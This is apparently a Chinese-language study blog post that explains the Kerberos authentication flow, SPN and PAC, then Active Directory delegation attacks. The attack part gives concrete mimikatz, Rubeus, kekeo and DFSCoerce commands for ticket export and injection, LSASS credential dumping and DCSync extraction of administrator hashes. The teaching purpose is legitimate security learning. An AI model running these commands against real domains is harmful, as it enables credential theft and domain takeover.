Kerberos是什么？
kerberos是Microsoft Windows域的默认身份验证服务，通过使用第三方票据授权或者更强的加密方式，它往往比NTML更安全，尽管NTM相比于Kerberos有更多的攻击选择，但是Kerberos也存在着一些漏洞能够被利用
Kerberos是一个域内认证协议，是一种基于票据的认证方式
Kerberos的标志是三头犬，分别有一下角色
- Client客户端
- Server服务端或者说是Application Server-应用服务器
- KDC（Key Distribution Center）= DC（Domain Controller），KDC是密钥分发中心，由域控担任
这里提供一下Kerberos中的常见名词和术语
- Ticket：票据，网络对象互相访问的凭证
- Key Distribution Center（KDC）：密钥分发中心，负责身份认证和会话密钥的分发，由Authentication Server，认证服务器和Ticket Granting Server，票据授权服务器组成
- Ticket Granting Ticket (TGT)：TGT是一种身份验证票据（临时凭证，相当于入场券–可以请求其他票据），用于从 TGS处 请求域中特定资源的服务票据
- Authentication Service (AS)：是KDC的一部分，身份验证服务（AS）发出 TGT 以供域中的 TGS 使用，以请求访问其他机器和服务票据
- Ticket Granting Service (TGS)：是KDC的一部分，票据授予服务（TGS）获取 TGT 并将票据返回到域上的机器
- ST ：服务票据 Service Ticket，由TGS服务发布
- DC：域控制器Domain Controller
- AD：活动目录Active Directory，集中管理网络中的用户、计算机、权限、策略和资源访问
总结下来就是Kerberos 是一种基于票据的认证协议，由域控上的 KDC 集中管理票据，通过加密票据控制用户对服务的访问权限，实现单点登录和双向认证
Kerberos协议认证过程
这里借用一下fushuling师傅的图片
第一步 AS-REQ
用户登陆/解锁：向AS拿TGT
AS在这一步要确认你真的知道这个用户的密码
kerberos服务会向KDC的AS发送认证请求，请求包中包含：请求用户名，主机名，加密类型和Pre-Authentication Data(用户NTLM hash加密的时间戳)以及一些其他信息
利用
域内用户枚举
在AS-REQ阶段，请求包cname对应的值是用户名，当用户状态不同时，比如用户存在且启用、用户存在但禁用、用户不存在，不同的状态返回包的提示都是不同的，因此可以进行枚举
Hash传递
可使用用户的NTLM hash加密的时间戳作为Authenticator，就可以在无需破解密钥的明文的情况下通过hash伪造用户身份发起请求
密码喷洒
当用户名存在，密码正确或者错误的时候，返回包也不一样，因此可以进行用户名密码爆破。在内网里域管理者为了方便可能会用相同的密码对服务器进行配置，因此拿到一个有效密码可以在内网里喷洒试试，说不定就能拿下好几台内网服务器
第二步 AS-REP
在KDC接收请求后，会先到AD活动目录查询当前用户的密码hash，然后AS会使用Client_hash对请求包中的Authenticator进行解密，解密成功且时间戳范围在五分钟内则返回用krbtgt用户hash加密票据，TGT里面包含PAC（PAC 是由 KDC（域控）生成并签名、嵌入在 Kerberos 票据中的授权数据，用于让服务端在不再次查询 KDC 的情况下完成用户的权限判断），PAC包含Client的sid、Client所在的组，除此之外AS会生成一个临时秘钥Login session key，并使用用户(之前发请求那个用户)NTLM-Hash加密Login session key作为响应包的一部分内容
AS验证过后会返回两件东西
TGT以及给客户端的“会话密钥包”
验证客户端并发回加密的 TGT
（Authenticator 是一个由客户端临时生成、用会话密钥加密的数据结构，用来证明“我不仅拿着票据，而且是当前、真实的票据持有者”，从而防止票据被重放或盗用）
第三步 TGS-REQ
客户端将加密的 TGT 发送到具有客户端希望访问的服务的服务主体名称(SPN)的票据授予服务器(TGS)
此时TGS通过krbtgt（krbtgt 是 Kerberos 的“票据签发根密钥”，用来加密和验证所有 TGT（Ticket Granting Ticket））的hash解密TGT票据，验证客户端的身份
第四步：TGS-REP
TGS → 用户，返回 Service Ticket
颁发只能被目标服务器解密的门票
TGS返回两个东西：Service Ticket（服务票据，给目标服务看的）和 给客户端的会话密钥包（Login session key）
TGS首先会检查是否存在客户端所请求的服务，若存在就会使用krbtgt用户的NTLM hash解密TGT并得到Login session key
然后用它去解密Authenticator，解密成功说明在时间戳范围内，通过TGS验证，然后TGS会给客户端用户发放ST服务票据
包括ticket和一个新的session key
第五步 AP-REQ
客户端在收到 TGS-REP 后，获得针对目标服务的 Service Ticket（ST） 以及 Client ↔ Service 会话密钥 当客户端访问目标服务时，会在 AP-REQ 中携带 Service Ticket和使用会话密钥加密的 Authenticator 发送给服务端 服务端使用自身密钥解密 ST，校验 Authenticator，并基于票据中携带的 PAC 在本地完成身份认证与授权判断
第六步 AP-REP（双向认证）
在启用 Mutual Authentication 的情况下：
- 服务端会返回 AP-REP
- 使用 Kc,s 加密：
- Authenticator 中时间戳的校验值（如 timestamp + 1）
客户端解密成功后，确认目标服务身份真实，Kerberos 双向认证完成
SPN和PAC
SPN 是 Kerberos 中服务的“身份证”，客户端正是通过 SPN 告诉 KDC：我要访问哪一个具体服务
简单一句话总结就是SPN 是 Kerberos 中用于唯一标识服务实例的名称，KDC 通过 SPN 决定 Service Ticket 的签发对象及加密密钥，是 Kerberos 服务认证与授权链路中的核心锚点
每个Kerberos的服务都需要一个SPN，同时每个SPN信息都包含一个服务和允许登陆的用户，没有SPN的话就没办法得到ST票据
当客户端拿着TGS去请求访问某个服务时，TGS就是通过查询SPN来确定是否有此服务的
只负责认证用户TGT是否有效已经验证请求服务是否存在
SPN的标准形式
ServiceClass/Host[:Port]
- serviceclass是服务的名称，常见的有SMTP、WWW、HOST等
- host是主机名或 FQDN，也就是完全限定域名
PAC 是 Active Directory 对 Kerberos 的扩展，用来承载“授权信息”的数据结构，由 KDC 生成并签名，嵌入 Kerberos 票据中，使服务端无需再次查询 DC 就能完成权限判断
- 不是 Kerberos RFC 原生内容
- 只存在于 AD Kerberos
- 解决的是 Authorization（授权），不是 Authentication（认证）
其本质作用我总结为：把“权限状态”随票据一起带走，用于在后几步中验证用户是否有对应服务的访问权限，免得再去DC中去寻找
Attack Method
委派攻击
域委派
委派是一种域内应用模式，是指讲域内用户账户的权限委派给服务账号，服务账号因此能以用户的身份在域内展开活动（请求信的服务等）
Kerberos 委派是通过「KDC 在 TGS 阶段基于委派策略，签发“可代表用户身份”的 Service Ticket」来实现的
KDC（域控） + Kerberos 票据机制 + AD 中的委派配置
一个简单的例子
用户访问的是 B， 资源在 C， 委派让 B 能“带着用户身份”去找 C
委派的分类：三种应用方式
- 非约束委派(Unconstrained Delegation, UD)
- 约束委派(Constrained Delegation, CD)
- 基于资源的约束委派(Resource Based Constrained Delegation, RBCD)
非约束委派攻击
攻击本质就是当启用了一个非约束委派的服务被攻陷后，攻击者可以滥用被该服务器接收过的用户身份，代表这些用户在域内横向访问任意服务
也就是说当启用了非约束委派的服务被用户访问时，KDC 允许该服务获得“代表该用户进行 Kerberos 请求的能力”，该能力在实现上表现为：服务可以使用用户的 TGT 或等价的票据能力
简单理解为如果一台机器配置了非约束委派。DC就会认为这台机器非常安全，所以会把用户的TGT直接塞给它，让它随便使用
核心原理
1.配置
在域控上，如果某台机器在AD用户和计算机中被勾选了Trust this computer for delegation to any service（信任该计算机作为任何服务的委派）
2.请求
当一个用户（域管理员身份）访问此台web-serber时
3.TGT转发：域控KDC在生成给web-serber的服务票据ST时，会吧该用户的TGT一并放到里面发送过去
4.缓存：web-serber收到票据后，会将此TGT解密并存储在内存（LASS进程）中，以便后续代表该用户去访问其他服务
利用方式
攻击思路1：域管理员访问web-server
1、需要Administrator权限 2、域内主机的机器账户开启非约束委派 3、域管理管理员远程访问
# 域内主机导出票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
# 查看票据
mimikatz.exe "kerberos::list"
然后使用kerberos::ptt导入票据伪造身份
mimikatz.exe "kerberos::ptt [0;4bbb6]-2-0-60a10000-Administrator@krbtgt-HACKME.COM.kirbi" "exit"
[0;cfd6c]-2-0-60a10000-Administrator@krbtgt-REDTEAM.LAB.kirbi 是注入的 Kerberos 票据文件的路径，表示将 Administrator 用户的 Kerberos 票据 注入到当前的会话中
krbtgt 是 Kerberos 的密钥生成账户，在攻击中经常用来做 票据生成 或 票据伪造
.kirbi 是 Kerberos 票据的文件格式
后面就可以去执行一下命令了
攻击思路2：强制认证+非约束
具体的有很多，这里介绍一种，后面都会总结一下的
DFSCoerce（CVE-2022-26925）
利用条件：
- 仅对域控有效
- 要求有一个域用户的凭据信息
- 域内启用MS-DFSNM协议
python3 dfscoerce.py -u [目标用户名] -hashes "[NTLM 哈希]" -d [目标域] [计算机名] [目标主机的 IP 地址]
也可以使用密码进行使用，这里我以使用NTLM为例
配合
Rubeus.exe monitor /interval:1 /nowrap /targetuser:[目标用户]
使用 Rubeus 来监控与特定 计算机账户相关的 Kerberos 认证请求，监控的间隔是1秒，并且不换行显示结果
利用此工具就可以捕获到票据，接着就可以打票据注入
Rubeus.exe ptt /ticket:[票据]
当我们用域外用户，利用强制域认证和所有的非约束委派，就可以实现对域内用户（机器用户）的票据捕获（尤其是域控制器），当我们成功捕获票据后，就可以利用猕猴桃工具去得到域内所有用户hash
mimikatz.exe "kerberos::purge" "kerberos::ptt DC01.kirbi" "lsadump::dcsync /domain:xiaorang.lab /user:administrator" "exit"
此命令是一个做题演示，具体使用还请根据实际情况修改（kerberos::ptt 命令注入了 DC01$ 域控制器的 Kerberos 票据，DCSync 命令用于从域控制器同步并提取 administrator 用户的 NTLM 哈希）
约束性委派攻击
于2007年微软为kerberos协议的 TGS_REQ 和 TGS_REP 阶段引入了两个扩展协议S4u2self（Service for User to Self）和S4U2proxy（Service for User to Proxy）
委派的定义我们都知道了，那么什么叫约束性委派呢？
白话说就是“不是想去哪里就去哪里”，也就是说被委派任务的那个人，只能代表用户去访问白名单里列出的服务，这就是约束性委派（KDC）
KCD 通过 AD 中的白名单（AllowedToDelegateTo / msDS-AllowedToDelegateTo）限制 S4U2Proxy 只能去特定 SPN
S4u2self & S4U2proxy
S4U2Self
允许服务主题在不持有用户凭据的情况下，为某个用户申请到该服务本身的票据
S4U2Proxy
允许服务主体携带证据票据，向KDC申请代表该用户访问另一个服务的票据
其中配置约束性委派的账户属性会有这种变化
1.账户msDS-AllowedToDelegateTo的属性，它记录了该账号允许委派到哪些服务 SPN（白名单）
2.配置了（支持 S4U 的）委派后，账号的 userAccountControl 中会包含 TRUSTED_TO_AUTH_FOR_DELEGATION 等相关标志位；同时会设置 msDS-AllowedToDelegateTo 白名单以限制可委派的目标 SPN
侦查约束委派服务的方法
利用方式1：利用机器票据攻击
这里要注意理解用户身份和机器身份，这里举个例子
用户身份主体是域用户账户（如 alice@domain.com 或 administrator@domain.com），用于访问用户权限下的服务和资源
机器身份主体是计算机账户（如 WIN10$、DC01$），用于访问计算机权限下的服务和资源，并且机器账户常常被用于向其他计算机或服务发起请求，那么机器票据就常用于身份验证，代表的是计算机身份
简单来说就是，用户身份代表域内的用户，机器身份代表域内的计算机（可能不是很恰当？！）
利用条件
- 拥有Administrator权限
- 目标机器账户配置了约束性委派
当我们拥有Administrator用户权限时，可以利用猕猴桃导出lsass.exe进程中所有的票据，得到想要的服务票据，查看当前机器中都有哪些票据缓存
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
kekeo工具可以通过S4U2Proxy协议申请服务票据
kekeo.exe "tgs::s4u /tgt:<TGT文件> /user:<user> /service:<service>"
通过约束性委派攻击获取到了另一台机器的票据，利用猕猴桃导入票据就可以访问其计算机资源了，横向拿下
利用方式2：使用机器账户hash
利用条件
- 拥有Administrator权限
- 目标机器配置了约束性委派
利用猕猴桃获取NTLM Hash值
# 使用mimikatz获取机器账户NTLM Hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
然后利用Rubeus可申请访问自身的服务票据，可以接着利用此票据去请求其他服务的票据并注入，达到横向的目的
基于资源的约束性委派攻击
咕咕咕了~复习去了
